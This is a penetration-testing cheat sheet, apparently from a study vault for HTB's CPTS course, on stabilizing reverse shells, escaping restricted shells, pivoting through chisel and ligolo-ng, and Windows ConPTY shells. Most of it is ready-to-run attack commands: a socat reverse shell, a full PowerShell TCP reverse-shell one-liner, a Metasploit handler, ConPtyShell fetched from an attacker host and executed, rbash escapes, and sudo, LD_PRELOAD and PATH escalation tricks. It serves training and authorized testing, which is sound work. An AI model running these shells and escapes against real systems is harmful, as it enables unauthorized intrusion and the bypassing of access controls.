← Previous: Web Shells · Workflow dashboard · Finish: dashboard ↻
TTY Upgrades & Restricted Shells — CPTS Cheat Sheet fas:ClipboardList
[!dashboard] Workflow context Dashboard: HTB Pentest Workflow · Previous: Web Shells
Attack-flow references: 05 - Foothold Toolkit - Shells Payloads and Metasploit · 12 - Stage 09 - Privilege Escalation
Source module: 8 · Shells and Payloads · Pivoting: Common Services (chisel / ligolo-ng) · AEN internal enumeration
Summary ris:Eye
A raw reverse shell carries bytes, but it usually has no controlling terminal, job control, terminal geometry, or reliable signal handling. The upgrade has two distinct parts: allocate a PTY on the target, then place the local terminal in raw mode and foreground the connection. Commands such as /bin/bash -i improve the prompt but do not allocate a PTY by themselves.
[!danger]+ Authorized-use boundary
fas:TriangleExclamation
- Use these procedures only on systems you own or are explicitly authorized to test.
- A TTY upgrade changes session behavior but not privileges. Treat a restricted-shell escape and privilege escalation as separate findings.
- Do not wipe history or logs. Record staged binaries/scripts and remove only assessment artifacts during cleanup.
- Capture your local terminal state before
stty raw -echoso a dropped connection does not leave the terminal unusable.
Terms that matter ris:FileList
| Term | Meaning | What it gives you |
|---|---|---|
| Shell | Command interpreter such as sh, bash, cmd.exe or PowerShell | Executes commands |
| Interactive shell | Reads commands from a user and may provide history/readline | Better prompt; still may lack a terminal |
| PTY | Pseudo-terminal master/slave pair | Terminal semantics for a child process |
| Controlling TTY | Terminal associated with a session/process group | Job control and signals |
| Raw mode | Local terminal passes keystrokes without local line processing/echo | Lets the remote PTY handle Ctrl+C, arrows and editing |
TERM | Terminal capability name | Tells full-screen programs how to render |
| Geometry | Rows and columns | Prevents wrapping and broken ncurses displays |
0 · Gold-path upgrade card fas:Bolt
Use this sequence for a netcat-style Linux reverse shell.
Canonical copy-paste sequence
# 1. Target — allocate a PTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Press Ctrl+Z to background the connection, then on the attacker:
stty raw -echo; fg
# 3. Back on the target — press Enter once, then:
reset
export SHELL=/bin/bash
export TERM=xterm-256color
stty rows 43 cols 172 # replace with your own `stty size` output
The full measured workflow below replaces the hardcoded geometry with the values from your own terminal.
Target — allocate a PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
If Python is unavailable:
script -qc /bin/bash /dev/null
Press Ctrl+Z to suspend the connection and return to the local shell.
Attacker — save terminal state, enter raw mode, foreground
OLD_STTY=$(stty -g)
if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then
LOCAL_TERM=${TERM:-xterm}
printf "Paste remotely after fg:\nexport TERM='%s'\nstty rows %s cols %s\n" \
"$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS"
else
printf 'No controlling local TTY—do not enable raw mode yet.\n' >&2
fi
Only after the generator prints populated rows and columns:
stty raw -echo; fg
[!important]+ The semicolon matters Run
stty raw -echo; fgas one line. This is especially important under zsh. Afterfg, press Enter once or twice if the prompt is not redrawn.
Target — initialize the terminal
export SHELL=/bin/bash
# Paste the two exact export/stty lines printed by the attacker terminal.
reset
The generator reads the dimensions of the current attacker TTY, so it does not guess 80 columns. Its output will look like this, with values matching the terminal or tmux pane in front of you:
export TERM='xterm-256color'
stty rows 43 cols 172
Socat gold path — full TTY in one step
When a reviewed static socat binary is staged on the target, the whole upgrade collapses to a matched one-liner pair and needs no Ctrl+Z dance:
# Attacker listener (raw, no local echo, PTY-aware):
socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr
# Target (PTY-backed reverse shell with signals and session):
socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
Set TERM and geometry on the target as usual if full-screen programs misbehave.
Verify
tty
stty -a
ps -o pid,ppid,sid,tty,stat,comm -p $$
Expected: tty returns a /dev/pts/... path, the process has a TTY, arrow keys work, and Ctrl+C interrupts the foreground command without killing the connection.
Restore the attacker terminal after exit or failure
stty "$OLD_STTY"
reset
If the variable is unavailable, type this blindly and press Enter:
stty sane
reset
1 · Diagnose the shell before changing it fas:MagnifyingGlass
Target checks
tty
printf 'shell=%s argv0=%s term=%s\n' "$SHELL" "$0" "$TERM"
ps -o pid,ppid,sid,tty,stat,comm -p $$
for fd in 0 1 2; do
if test -t "$fd"; then
printf 'fd %s is a tty\n' "$fd"
else
printf 'fd %s is not a tty\n' "$fd"
fi
done
readlink /proc/$$/fd/0 2>/dev/null
Capability checklist
| Test | Healthy interactive result | Raw-shell symptom |
|---|---|---|
tty | /dev/pts/N | not a tty |
test -t 0 | success | failure |
Ctrl+C on sleep 30 | interrupts sleep only | kills/freezes the session |
| Arrow keys | edit history | print ^[[A |
su - user / ssh host | prompts normally | no prompt, hangs or exits |
vim / top | renders correctly | corrupted screen |
stty size | real rows/columns | ioctl error or 0 0 |
[!note]+ Do not confuse shell quality with policy A working PTY does not bypass PAM, sudo policy, AppArmor, SELinux, application control, or a restricted login shell. It only provides the terminal behavior those tools expect.
2 · PTY allocators and fallback shells fas:Terminal
What actually allocates a PTY?
| Method | Allocates PTY? | Notes |
|---|---|---|
Python pty.spawn | Yes | Most common Unix fallback |
util-linux script | Yes | Often installed when Python is absent |
socat pty option | Yes | Best signal/session handling when available |
Expect spawn ...; interact | Yes | Useful on appliances with Expect |
SSH -t / -tt | Yes | Server policy still applies |
bash -i, Perl/Ruby exec, awk system | No | Interactive process only; still useful as a fallback |
rlwrap nc | No | Local readline wrapper, not a remote PTY |
Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
If Bash is unavailable:
python3 -c 'import pty; pty.spawn("/bin/sh")'
util-linux script
script -qc /bin/bash /dev/null
Alternative accepted by some util-linux builds:
script -c /bin/bash /dev/null
The output file is /dev/null so the command does not leave a terminal transcript on the target.
Expect
expect -c 'spawn /bin/bash; interact'
Socat — full PTY connection
Attacker:
socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr
Target:
socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
[!warning]+ Staging a static binary Transfer only a reviewed binary appropriate for the target architecture and engagement. Record its hash and destination, use a scoped writable directory, and remove it when finished.
Interactive-only fallbacks — not a PTY
/bin/bash -i
/bin/sh -i
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
awk 'BEGIN {system("/bin/bash")}'
env /bin/bash -i
These may improve command parsing or prompt behavior, but tty will still report not a tty. Continue with a real PTY allocator when possible.
3 · Listener choices fas:SatelliteDish
Netcat
nc -lvnp 4444
Netcat is simple and widely available, but it does not allocate a PTY.
rlwrap + netcat
rlwrap -r -f . nc -lvnp 4444
rlwrap adds local history and line editing. It does not fix remote job control, terminal sizing, su or ssh prompts. It pairs well with the gold-path upgrade: rlwrap gives you comfortable editing while you run the python3/script + stty raw -echo; fg sequence.
Ncat with TLS
ncat --ssl -lvnp 4444
The connecting side must also speak Ncat TLS. Encryption does not add PTY behavior.
Socat
socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr
pwncat-cs — the modern catch-all
pwncat-cs -lp 4444
pwncat-cs is the modern successor to the original pwncat: it detects the platform on connect, can auto-allocate a PTY, tracks sessions, and provides built-in upload/download, privesc-enum and persistence modules. Use the automation only after confirming it is permitted by the engagement and compatible with the target. Record any files, persistence or enumeration actions a framework performs.
Metasploit handler
use exploit/multi/handler
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST 10.10.14.2
set LPORT 4444
run
A handler catches the payload; shell quality still depends on the session type and subsequent PTY allocation.
[!tip]+ Through a pivot, the listener often lives ON the pivot When the target can reach a compromised pivot but not your attacker box, run the catch listener on the pivot itself (e.g.
nc -lvnp 4444or socat on the pivot) and interact with it over your existing SSH/SSH-Dsession — the same pattern the AEN walkthrough uses whennc -lnvpran ondmz01to catch shells from internal hosts. See sheet 01 (bundled pivot tools) and AEN persistence & internal enumeration for the pivot workflow.
[!example]+ Reverse shells through pivots — chisel & ligolo-ng When the target cannot route back to you directly, stage a tunnel and let the shell traverse it. The vault carries reviewed builds:
[chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))and[chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))for chisel,[ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))and[ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))for ligolo-ng.chisel reverse listener (catch a shell from an unreachable target):
# Attacker — reverse-mode server; clients may open reverse forwards: chisel server --reverse -p 8080 # Target/pivot — expose the attacker's nc listener as a local port on the target: chisel client 10.10.14.2:8080 R:4444:127.0.0.1:4444 # Attacker — plain catch listener; the shell arrives via the tunnel: rlwrap -r -f . nc -lvnp 4444The target then runs its reverse-shell payload against its own
127.0.0.1:4444; chisel carries the connection back to your netcat. A full SOCKS variant ischisel client 10.10.14.2:8080 R:socks, which lets you aimproxychainsat internal services from the same tunnel.ligolo-ng (TUN, full routing): run the
proxyon the attacker and theagenton the pivot, add alistener_addforward for your catch port, and the target calls back to a pivot-side address that ligolo delivers to your listener — full command set in sheet 01.Record every staged binary and tunnel endpoint; remove them during cleanup.
4 · Terminal geometry, TERM and locale fas:Expand
What are you actually copying?
| Value | What it means | How to discover it locally |
|---|---|---|
| Rows / columns | Current kernel-reported size of the terminal or tmux pane | stty size </dev/tty |
TERM | A terminal capability/terminfo name used by programs such as vim, less and top | printf '%s\n' "$TERM" |
| Terminal emulator | The graphical program, such as Ghostty, Kitty, Alacritty or Foot | Environment and process-tree checks below |
TERM is not necessarily the emulator’s product name. Inside tmux it is commonly tmux-256color or screen-256color, even when the visible emulator is Ghostty or Kitty. For the remote session, correct geometry and a TERM entry installed on the target matter more than the emulator brand.
Discover the exact local values
printf 'TTY=%s\n' "$(tty)"
printf 'TERM=%s\n' "${TERM:-unset}"
stty size </dev/tty
stty -a </dev/tty | sed -n '1p'
tput lines
tput cols
stty size prints ROWS COLS. Run it from the attacker terminal that owns the listener—not through the remote shell. If the listener is inside tmux, it correctly reports the current pane size.
To identify the visible emulator as well:
printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM:-unset}"
printf 'TERMINAL=%s\n' "${TERMINAL:-unset}"
ps -o pid,ppid,tty,comm -p $$ -p $PPID
pstree -s $$
Environment hints are not universal, and tmux/SSH may sit between the shell and emulator. Do not invent a TERM value from the application name; use the current $TERM, then test whether the target has its terminfo entry.
Generate the exact remote commands
Run this locally after suspending the connection with Ctrl+Z and before enabling raw mode:
if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then
LOCAL_TERM=${TERM:-xterm}
printf "export TERM='%s'\nstty rows %s cols %s\n" \
"$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS"
else
printf 'No controlling local TTY; run this from the listener terminal.\n' >&2
fi
Copy the two printed lines to the target after fg. A compact Bash/zsh version is:
read -r TTY_ROWS TTY_COLS < <(stty size </dev/tty) && printf "export TERM='%s'; stty rows %s cols %s\n" "${TERM:-xterm}" "$TTY_ROWS" "$TTY_COLS"
[!warning]+ Why not always use 80 columns?
80is a historical default, not a measurement. A guessed size causes early wrapping, misplaced prompts and broken full-screen programs. Capture the current size again whenever the local window or tmux pane changes.
tmux and multiplexer panes
# stty already reports the active pane's PTY size.
stty size </dev/tty
# Cross-check using tmux's own pane values.
tmux display-message -p '#{pane_height} #{pane_width}'
# See the capability name exposed inside the pane.
printf 'TERM=%s\n' "$TERM"
If the local value is tmux-256color, screen-256color or an emulator-specific name such as xterm-kitty, the target may not have matching terminfo data. That is a compatibility issue, not a geometry issue.
Apply and validate on the target
# Example only—paste the values produced by your local generator.
export TERM='xterm-256color'
stty rows 43 cols 172
printf 'TERM=%s\n' "$TERM"
stty size
tput lines
tput cols
If applications report an unknown terminal or render badly, select the first compatible terminfo entry available on the target:
if command -v infocmp >/dev/null 2>&1; then
for CANDIDATE_TERM in "$TERM" xterm-256color xterm vt100; do
if infocmp "$CANDIDATE_TERM" >/dev/null 2>&1; then
export TERM="$CANDIDATE_TERM"
break
fi
done
else
export TERM=xterm
fi
printf 'Using TERM=%s\n' "$TERM"
Optional locale repair for broken characters:
locale
export LC_ALL=C
Use LC_ALL=C only when needed; it changes sorting, messages and character handling for the session.
Resize later
The remote PTY does not normally receive local SIGWINCH resize events through a simple netcat chain. Re-run the local generator, then paste its new stty rows ... cols ... command remotely. Socat, SSH, tmux and terminal-aware frameworks may propagate resizing automatically; verify with stty size rather than assuming they did.
5 · Signal and job-control verification fas:Check
sleep 30
Press Ctrl+C. The sleep process should stop while the shell survives.
sleep 30 &
jobs
fg %1
Press Ctrl+Z, then check:
jobs
bg %1
fg %1
[!warning]+ Test with disposable commands Do not test signal handling against a database client, package manager, file editor or exploit process that could be left half-written.
6 · SSH-native terminal allocation and escapes fas:Key
If valid SSH access exists, prefer SSH’s native PTY allocation over stabilizing netcat.
ssh -t user@target
ssh -tt user@target 'bash --noprofile --norc -i'
A second -t forces allocation even when the local client has no TTY.
OpenSSH escape sequences
Escapes are recognized only after a newline and only when a PTY was requested.
Enter, then ~? show escape help
Enter, then ~. disconnect
Enter, then ~^Z suspend the local ssh client
Enter, then ~# list forwarded connections
Enter, then ~C open the forwarding command line
At the ~C prompt:
-L 8080:127.0.0.1:80
-D 1080
-KL 8080
[!note]+ Shell restrictions still apply
ssh -tt ... bashworks only ifsshdpermits the command and the account is not constrained byForceCommand, a restricted shell, a container/jail, or another policy.
7 · Meterpreter and framework sessions fas:Terminal
Meterpreter to operating-system shell
meterpreter > shell
Then on a Unix target:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Basic shell to Meterpreter
From msfconsole:
sessions
sessions -u <SESSION_ID>
Or:
use post/multi/manage/shell_to_meterpreter
set SESSION <SESSION_ID>
run
An upgrade changes the session transport/features; it does not guarantee a PTY inside a subsequent shell channel.
8 · Restricted-shell identification and escape fas:DoorOpen
Restricted shells are policy boundaries, not bad TTYs. Identify the restriction before trying available escape-capable programs.
Identify the shell and allowed surface
printf 'SHELL=%s argv0=%s flags=%s\n' "$SHELL" "$0" "$-"
getent passwd "$(id -un)" 2>/dev/null
echo "$PATH"
type -a sh bash python3 python perl ruby vi vim less man awk find 2>/dev/null
compgen -c 2>/dev/null | sort -u
Common indicators:
| Shell | Typical behavior |
|---|---|
rbash | Blocks cd, slashes in command names, PATH changes, exec and output redirection |
rksh / restricted ksh | Similar path, directory and redirection restrictions |
rzsh | zsh restricted option; path/command limitations |
lshell | Allow/deny lists and explicit “forbidden command” messages |
rssh / git-shell | Purpose-built command set rather than a normal interactive shell |
| container/chroot | Normal shell syntax but filesystem/process/network boundaries remain |
Rank escape candidates
- Interpreters already on the allowed PATH.
- Editors and pagers with shell commands.
- An SSH forced command or native PTY.
- Environment-controlled helpers such as
PAGER,VISUALorSHELL. - A permitted shell script or command that invokes another program.
Interpreters
python3 -c 'import os; os.execl("/bin/bash", "bash", "-i")'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
lua -e 'os.execute("/bin/bash")'
php -r 'system("/bin/bash");'
awk 'BEGIN {system("/bin/bash")}'
If slashes are rejected but the binary is on PATH, try bash rather than /bin/bash.
Editors and pagers
Vim:
:set shell=/bin/bash
:shell
Alternative Vim command (works in vi as well):
:!/bin/bash
Less or man:
!/bin/bash
Nano, when Execute Command is enabled:
Ctrl+R
Ctrl+X
/bin/bash
Common command helpers
find . -exec /bin/sh \;
awk 'BEGIN {system("/bin/bash")}'
env /bin/bash -i
gdb -nx -ex '!bash' -ex quit
SSH from outside the restriction
When the account is dropped into rbash by its login shell but sshd itself is not locked down with ForceCommand, supply your own command so the restricted login shell never starts:
ssh user@target 'bash --noprofile --norc -i'
ssh -tt user@target 'bash --noprofile --norc -i'
--noprofile --norc skips the startup files that might re-enter restricted mode. If the account’s login shell is rbash and sshd runs the command through that shell (rbash -c 'bash --noprofile --norc -i'), rbash may still allow it because the child process is a fresh unrestricted Bash—verify with the checks below.
rbash-specific observations
GNU Bash applies restricted-mode checks after startup files are read, and shell scripts found as commands may execute in a non-restricted Bash process. Whether that is usable depends on PATH, file permissions and the surrounding jail.
BASH_CMDS[a]=/bin/bash
a
If a permitted editor or upload route can place a reviewed script in an executable PATH directory:
allowed-script.sh
PATH and sudo environment tricks
Restrictions that rely on PATH, or sudo rules that preserve the caller’s environment, are configuration weaknesses rather than TTY problems:
# What can this account run with sudo, and is the environment preserved?
sudo -l
Condition in sudo -l output | Why it matters |
|---|---|
env_keep+=LD_PRELOAD / LD_LIBRARY_PATH | A reviewed shared library staged by the operator can run inside the sudo’d process |
(ALL) NOPASSWD: /usr/bin/find (or another GTFOBins-capable binary) | sudo find . -exec /bin/sh \; runs the shell with sudo’s privileges |
A permitted editor/pager (vi, less, man) under sudo | Its ! shell-command escapes inherit sudo privileges |
Writable directory early in PATH with a permitted bare command name | A staged same-name script shadows the intended binary |
Treat any success here as a privilege-escalation finding to report, not a shell-quality fix.
Verify the escape
printf 'argv0=%s flags=%s shell=%s\n' "$0" "$-" "$SHELL"
cd /
printf 'redirect-test\n' > /tmp/tty-escape-check
rm -f /tmp/tty-escape-check
[!warning]+ Escape does not mean host escape Leaving
rbashmay only remove command-language restrictions. It does not escape a chroot, namespace, container, mandatory-access-control policy or low-privilege account.
9 · Windows shell quality and ConPTY fab:Windows
Windows cmd.exe and PowerShell over a raw socket have the same class of problems: line editing, console applications and Ctrl+C may not behave normally. Windows Pseudo Console (ConPTY) provides a console host suitable for interactive character-mode applications on supported Windows versions.
Diagnose — CMD
whoami
ver
echo %CMDCMDLINE%
where powershell.exe
where pwsh.exe
Diagnose — PowerShell
whoami
$ExecutionContext.SessionState.LanguageMode
[Environment]::OSVersion.Version
[Environment]::Is64BitProcess
Get-CimInstance Win32_Process -Filter "ProcessId=$PID" |
Select-Object ProcessId, ParentProcessId, Name, ExecutablePath
ConstrainedLanguage permits cmdlets and basic language elements but restricts many .NET/COM operations. Treat that as an application-control signal; do not assume a failed script means networking is broken.
Baseline PowerShell reverse shell
When you first land in a web shell or command-injection context, this one-liner is the classic way to trade request-scoped execution for a persistent socket shell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
It is a stream shell, not a ConPTY console: upgrade it (or move to WinRM/SSH/RDP) before running interactive programs. Review per-engagement policy before use; AMSI and EDR commonly signature this exact string, so expect to stage a reviewed variant rather than paste it verbatim on defended hosts.
[!note]+ Every web-shell request is a fresh process Web commands run as the application-pool or service identity and start as a fresh process for every HTTP request — a successful
cddoes not survive to the next request in a bare shell. The rp-shell family in sheet 05 fakes cwd persistence with a hidden field/session; bare shells need absolute paths orcd C:\path && commandchaining. Get a real socket shell (one-liner above), then fix terminal quality with ConPTY or a native management channel.
Prefer native management channels when credentials exist
evil-winrm -i 10.10.10.10 -u user -p '<password>'
ssh user@10.10.10.10
xfreerdp /v:10.10.10.10 /u:user /p:'<password>'
ConPtyShell workflow
Review and stage the script from its primary repository rather than executing an unreviewed remote one-liner.
Attacker listener:
stty raw -echo; (stty size; cat) | nc -lvnp 4444
Target PowerShell:
Invoke-WebRequest http://10.10.14.2:8000/Invoke-ConPtyShell.ps1 `
-OutFile $env:TEMP\Invoke-ConPtyShell.ps1
. $env:TEMP\Invoke-ConPtyShell.ps1
Invoke-ConPtyShell 10.10.14.2 4444
[!note]+ ConPTY requirements ConPTY is available on modern Windows releases beginning with Windows 10 version 1809 / Server 2019-era builds. Script execution can still be affected by PowerShell language mode, application control, AMSI, proxy settings and endpoint protection.
Restore the local terminal
stty sane
reset
10 · Troubleshooting matrix fas:Wrench
| Symptom | Cause | Fix |
|---|---|---|
stty: inappropriate ioctl for device | Ran stty on a stream without a PTY, or on the wrong side | Spawn target PTY first; run local raw-mode command on the attacker terminal |
| Ctrl+C kills the whole connection | No controlling PTY or local terminal still processes signals | Complete PTY + raw-mode steps; test with sleep |
Arrow keys print ^[[A | No readline/PTY, or wrong TERM | Allocate PTY; set a supported TERM |
| Tab-completion dead, no history | Full PTY missing — shell is interactive-only (bash -i fallback) | Allocate a real PTY (python3 pty.spawn / script / socat), then stty raw -echo; fg |
| Control characters / garbled screen on window resize | Remote PTY never got the new size — stty rows/cols mismatch | Re-run the local generator and paste fresh stty rows ... cols ... remotely; socat/SSH propagate SIGWINCH, netcat does not |
sudo: a terminal is required / shell dies on sudo | sudo needs a TTY to read the password (requiretty or no PTY) | Allocate a PTY first; confirm with tty; if policy forces requiretty, no stream shell will work |
| Commands appear twice | Echo enabled on both sides | Ensure local stty raw -echo or socat echo=0 |
No prompt after fg | Prompt not redrawn or reset waiting for terminal name | Press Enter; run reset; enter xterm if asked |
vim/top is garbled | Wrong geometry or missing terminfo | Set rows/cols; fall back from xterm-256color to xterm/vt100 |
su/ssh still will not prompt | PTY incomplete, PAM policy, wrong credential or account restriction | Verify tty first, then diagnose auth/policy separately |
script has different option errors | BSD/util-linux syntax difference | Check script --help; BSD commonly accepts script -q /dev/null /bin/bash |
| Socat connects then exits | Quoting, missing shell, wrong architecture or listener mismatch | Use absolute shell path; test socat version; verify both endpoints |
| Local terminal is broken after disconnect | Local side remained raw/no-echo | Type stty sane then reset blindly, or use another terminal to repair the TTY |
tty works but jobs does not | Shell is not interactive or lacks job control | Start bash -i inside the PTY; inspect process session/group |
| Reverse shell never arrives through a pivot | Target cannot route to the attacker listener | Put the listener on the pivot, or tunnel it with chisel R:port:host:port / ligolo-ng listener_add |
| Windows script fails immediately | CLM, script policy, AMSI/EDR, architecture or unsupported build | Check language mode/build; prefer approved WinRM/SSH/RDP when available |
Emergency local recovery from another terminal
Find the terminal device in the affected window:
ps -t pts/3
Repair it explicitly:
stty sane -F /dev/pts/3
11 · Operational safety and cleanup fas:Broom
Before changing the session
- Record the current user, process tree, shell,
ttyresult and local terminal geometry. - Save the local
stty -gstate. - Note every transferred binary/script and its SHA-256.
- Use a unique listener port within scope.
During the session
- Avoid putting credentials in command-line arguments where process listings or shell history expose them.
- Do not use terminal experiments on long-running or stateful target processes.
- Treat automated shell managers as tools that may upload files or run enumeration automatically.
- Treat tunnel agents (chisel, ligolo-ng) as infrastructure: log every server/client endpoint and reverse-forward mapping you open.
Cleanup
# Target: remove only artifacts you staged.
rm -f /tmp/socat /tmp/chisel
# Attacker: always restore terminal behavior.
stty sane
reset
On Windows:
Remove-Item $env:TEMP\Invoke-ConPtyShell.ps1 -ErrorAction SilentlyContinue
Stop chisel servers/clients and ligolo-ng agents/proxies you started, and remove their binaries. Do not clear target logs or history. Preserve the engagement record and report any security boundary you bypassed.
Quick reference ris:GlobalLine
| Situation | First choice | Follow-up |
|---|---|---|
| Linux raw reverse shell | Python pty.spawn | Ctrl+Z → local raw mode → reset/TERM/size |
| No Python | script -qc /bin/bash /dev/null | Same stty workflow |
| socat available | socat PTY listener + EXEC one-liner pair | Set TERM/geometry |
| Only netcat | rlwrap nc for comfort | Still allocate a target PTY |
| Target cannot reach attacker | Listener on the pivot, or chisel R: / ligolo-ng tunnel | Then upgrade the shell normally |
| Valid SSH credential | ssh -tt | Avoid netcat stabilization |
Meterpreter shell | Spawn PTY inside shell | Or upgrade session type |
| rbash/rksh | Inventory allowed commands | Interpreter/editor/pager/SSH escape |
| Windows modern build | Native WinRM/SSH/RDP first | Reviewed ConPTY tooling if required |
| Broken local terminal | stty sane | reset |
Lessons learned fas:Lightbulb
- A new shell is not a PTY. Perl
execandbash -ican improve the prompt without fixingtty, job control or signals. - PTY allocation and raw mode are separate. You normally need both halves of the gold-path workflow.
- Save
stty -gfirst. It turns a broken local terminal into a one-command recovery. - Geometry is functional, not cosmetic. Wrong rows/columns corrupt editors, pagers and interactive tools — and netcat chains never learn about local resizes, so re-push
stty rows/colsafter every window change. - Restricted shell is policy. Stabilize the terminal, then evaluate the restriction as its own security boundary; a sudo/
env_keepor PATH weakness you find along the way is a privilege-escalation finding, not a shell fix. - Prefer native channels. If SSH, WinRM or RDP credentials are available, they are more reliable than repairing a raw socket.
- Pivot first, then listen. When the target cannot route to you, the catch listener belongs on the pivot — or at the end of a chisel/ligolo-ng tunnel — not on an attacker interface the target will never reach.
- Clean up tools, not evidence. Remove staged binaries/scripts and tunnel endpoints; do not erase logs or history.
References fas:BookOpen
- Python documentation —
pty - util-linux
script(1)manual - GNU Coreutils —
stty - OpenSSH
ssh(1)— PTY allocation and escape characters - GNU Bash — The Restricted Shell
- Microsoft — Windows Pseudoconsoles
- Microsoft PowerShell — Language Modes
- ConPtyShell primary repository
- pwncat-cs primary repository
- chisel primary repository — TCP/UDP tunnel over HTTP
- ligolo-ng primary repository — TUN-based pivoting
- HTB Academy — Pivoting, Tunneling, and Port Forwarding
← Previous: Web Shells · Workflow dashboard ↻
#HTB #CPTS #TTY #PTY #ShellUpgrade #RestrictedShell #Pivoting #PostExploitation